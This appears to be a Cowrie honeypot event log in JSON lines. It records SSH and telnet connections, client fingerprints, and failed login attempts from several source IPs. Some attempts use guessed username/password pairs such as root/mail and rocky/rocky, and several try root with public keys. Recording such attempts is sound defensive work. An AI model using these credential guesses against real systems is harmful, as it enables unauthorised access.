{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:02.376332Z","src_ip":"103.149.170.125","session":"50c1b8050991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35090,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5423506b73f","protocol":"ssh","message":"New connection: 31.40.204.166:35090 (159.203.135.109:22) [session: e5423506b73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:04.221987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:04.229983Z","src_ip":"31.40.204.166","session":"e5423506b73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:04.399807Z","src_ip":"31.40.204.166","session":"e5423506b73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:04.906275Z","src_ip":"31.40.204.166","session":"e5423506b73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:06.099491Z","src_ip":"31.40.204.166","session":"e5423506b73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.602445125579834,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:06.820110Z","src_ip":"152.42.224.71","session":"2b3bfe134f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ada41b92302","protocol":"telnet","message":"New connection: 152.42.224.71:34334 (10.17.0.5:23) [session: 1ada41b92302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:06.959207Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":43940,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3aff52745d4","protocol":"ssh","message":"New connection: 170.106.159.59:43940 (10.17.0.5:22) [session: a3aff52745d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:07.025307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:07.030217Z","src_ip":"170.106.159.59","session":"a3aff52745d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:07.099225Z","src_ip":"170.106.159.59","session":"a3aff52745d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013120174408,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:07.136642Z","src_ip":"152.42.224.71","session":"4744cfa31920","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"unM8saRA","message":"login attempt [root/unM8saRA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:07.407404Z","src_ip":"170.106.159.59","session":"a3aff52745d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:08.480053Z","src_ip":"170.106.159.59","session":"a3aff52745d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.19489479064941,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:10.101062Z","src_ip":"152.42.224.71","session":"204c64fe5c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34340,"dst_ip":"10.17.0.5","dst_port":23,"session":"599973f0bb6f","protocol":"telnet","message":"New connection: 152.42.224.71:34340 (10.17.0.5:23) [session: 599973f0bb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:10.690174Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34352,"dst_ip":"10.17.0.5","dst_port":23,"session":"904300303a4c","protocol":"telnet","message":"New connection: 152.42.224.71:34352 (10.17.0.5:23) [session: 904300303a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:10.882157Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":41878,"dst_ip":"10.17.0.5","dst_port":22,"session":"a02be54863c6","protocol":"ssh","message":"New connection: 190.85.41.170:41878 (10.17.0.5:22) [session: a02be54863c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:13.674910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:13.679841Z","src_ip":"190.85.41.170","session":"a02be54863c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:13.757915Z","src_ip":"190.85.41.170","session":"a02be54863c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail","message":"login attempt [root/mail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:14.092923Z","src_ip":"190.85.41.170","session":"a02be54863c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:15.172339Z","src_ip":"190.85.41.170","session":"a02be54863c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41632,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba294ccd286","protocol":"ssh","message":"New connection: 31.40.204.166:41632 (159.203.135.109:22) [session: 2ba294ccd286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:15.585059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:15.591263Z","src_ip":"31.40.204.166","session":"2ba294ccd286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:15.722031Z","src_ip":"31.40.204.166","session":"2ba294ccd286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.900779008865356,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:16.218923Z","src_ip":"152.42.224.71","session":"4b5924b25fb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:16.417977Z","src_ip":"31.40.204.166","session":"2ba294ccd286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c785e7bedbb4","protocol":"telnet","message":"New connection: 152.42.224.71:38650 (10.17.0.5:23) [session: c785e7bedbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:16.594185Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"0038ee5066d4","protocol":"telnet","message":"New connection: 152.42.224.71:38660 (10.17.0.5:23) [session: 0038ee5066d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:17.185475Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:17.598997Z","src_ip":"31.40.204.166","session":"2ba294ccd286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":22926,"dst_ip":"10.17.0.5","dst_port":22,"session":"66db7ffc2060","protocol":"ssh","message":"New connection: 102.129.200.117:22926 (10.17.0.5:22) [session: 66db7ffc2060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:17.932719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:17.937509Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.021695Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:9b:b2:40:c2:78:b9:6b:fc:d0:18:35:ed:66:b3:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHFi2fZ+m/47zP1azqCfoy6zk5GAt8WDfjxRKXc0DCSLWzUBzMNX2Qt6pZkK+T3lhK0PLp2ykzcBDVae780Lr3xwQq/VnqnEB8Rcn13w/PIlo20gkE5bCmuxINYH8DirtAGTvxEEP8E5YDrQorV3UP6rz8Xfv4xq6TSqdGGxuLnlgCs+7oo0HufBytjDfe1HdTSPuQs22xsde183bLDJL5JnnDlDviAjMczcO8mtEQnX3bpnhKgpithYuZ4IiUNJST561Pk0SqU02NTmSpron/Z5KmYxJRSkbpHIL+07oncyZ+7wEYuleqhuDfYpQT4ES6uXiw5sdZNT6vNm+pFHT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:9b:b2:40:c2:78:b9:6b:fc:d0:18:35:ed:66:b3:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.397055Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:9b:b2:40:c2:78:b9:6b:fc:d0:18:35:ed:66:b3:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHFi2fZ+m/47zP1azqCfoy6zk5GAt8WDfjxRKXc0DCSLWzUBzMNX2Qt6pZkK+T3lhK0PLp2ykzcBDVae780Lr3xwQq/VnqnEB8Rcn13w/PIlo20gkE5bCmuxINYH8DirtAGTvxEEP8E5YDrQorV3UP6rz8Xfv4xq6TSqdGGxuLnlgCs+7oo0HufBytjDfe1HdTSPuQs22xsde183bLDJL5JnnDlDviAjMczcO8mtEQnX3bpnhKgpithYuZ4IiUNJST561Pk0SqU02NTmSpron/Z5KmYxJRSkbpHIL+07oncyZ+7wEYuleqhuDfYpQT4ES6uXiw5sdZNT6vNm+pFHT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.401289Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:6d:ed:d1:6a:17:85:cc:ef:95:2f:d4:13:77:1f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXFG0193Sax6HyPNTMzt1PBcK7299G0hrRvO1/ssbr0gGZDphFPVZ0bHpi8LTsDqq/YBKYMf4B7IjMsTW4LduSbEKrH9yIEU2YO4eSoZVi3S7B8SXh9shy/79ib6KFw6MgryVoDZsXCNkxJPRzp7VXrOMXqNHtZZQULyUCPVF0j1u75dMl/MZe/PMXqJogRYgRvPdBV2J+ij1ycRNlZMhVsjgbIEqBUPBzIO7scYKqcwHfm8kwNOaxg6//vj/iumpRXuXkzQNyT+DOKXh+mJ5qOaubxJ8oSjZSMnHZWhFRaA0rThlviIgwmWap3Ew0Dby4C4XWKZRW/9ILnRgxQwoJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:6d:ed:d1:6a:17:85:cc:ef:95:2f:d4:13:77:1f:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.482293Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:6d:ed:d1:6a:17:85:cc:ef:95:2f:d4:13:77:1f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXFG0193Sax6HyPNTMzt1PBcK7299G0hrRvO1/ssbr0gGZDphFPVZ0bHpi8LTsDqq/YBKYMf4B7IjMsTW4LduSbEKrH9yIEU2YO4eSoZVi3S7B8SXh9shy/79ib6KFw6MgryVoDZsXCNkxJPRzp7VXrOMXqNHtZZQULyUCPVF0j1u75dMl/MZe/PMXqJogRYgRvPdBV2J+ij1ycRNlZMhVsjgbIEqBUPBzIO7scYKqcwHfm8kwNOaxg6//vj/iumpRXuXkzQNyT+DOKXh+mJ5qOaubxJ8oSjZSMnHZWhFRaA0rThlviIgwmWap3Ew0Dby4C4XWKZRW/9ILnRgxQwoJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.485965Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPT0ivXOjnNlM6RwbgThJFh9byaLfNXh0gIqhaJZCY3JhnFJ/+/1xfzMrMFJG/trwB1OJg96E4kterGXHanvEnzyuemz5uUw39XfQA9m/w87tSaJvvAv3mAD+Niv6mZpOQ3HEpwi7HQ8Hhkym80iq/U0z9ZJ+YATI4RfmwEcI9z9uSDwBI3sD6ljCQK409czi30Y0Xhq2bblsmIeidcTDrdKGaa4m1p4/RMXg5UQ6w3LAFAKKCcAyGBZ9BA2SUbKwfIIpDnQFlQ3dfdhehc7Nqz5120m9s/1+FprOAdl4Q07Pyhx0dd4WsIPM992nQyh5hRnbqx3ddDDFJhBAuaFVL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.565883Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:26:fe:e2:79:30:c8:ed:e4:4b:5b:15:cf:93:3b:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPT0ivXOjnNlM6RwbgThJFh9byaLfNXh0gIqhaJZCY3JhnFJ/+/1xfzMrMFJG/trwB1OJg96E4kterGXHanvEnzyuemz5uUw39XfQA9m/w87tSaJvvAv3mAD+Niv6mZpOQ3HEpwi7HQ8Hhkym80iq/U0z9ZJ+YATI4RfmwEcI9z9uSDwBI3sD6ljCQK409czi30Y0Xhq2bblsmIeidcTDrdKGaa4m1p4/RMXg5UQ6w3LAFAKKCcAyGBZ9BA2SUbKwfIIpDnQFlQ3dfdhehc7Nqz5120m9s/1+FprOAdl4Q07Pyhx0dd4WsIPM992nQyh5hRnbqx3ddDDFJhBAuaFVL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.569691Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:af:39:02:43:28:8b:e0:0e:9a:a4:72:24:30:9b:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3tpqBAic9sGaEaBunMqBLwsrn2GV5ZFz2FKtKy6x0AjiSaYToqNVmaVbjhWNJytBye9LaQsJI1iVJ5SCtLG7Kg7LLmQYqvdlGUTRpaFw3yqyY8r8ljGuCkfLqpO9CxfTfL4JIMFanqWilRpxTOVJcwZsP7x9xal+u9/oTrzY6Giip8YCpPbFjmo4FD9pUTQJox6uSb+Kc3zxGLYf2FbHloxqavoE6U6jTQnQQsK3LZNQCIpeFxWYYK6K4Aq6N9Y1fEyOxQVd7qnJHPuK8Nof1fbCbqJfUJnMC+IuuYsXVGMFRWHT2Wf/FqEHrlpWJEPZqpHmaVQlcUIEXlarxO04Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:af:39:02:43:28:8b:e0:0e:9a:a4:72:24:30:9b:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.649923Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
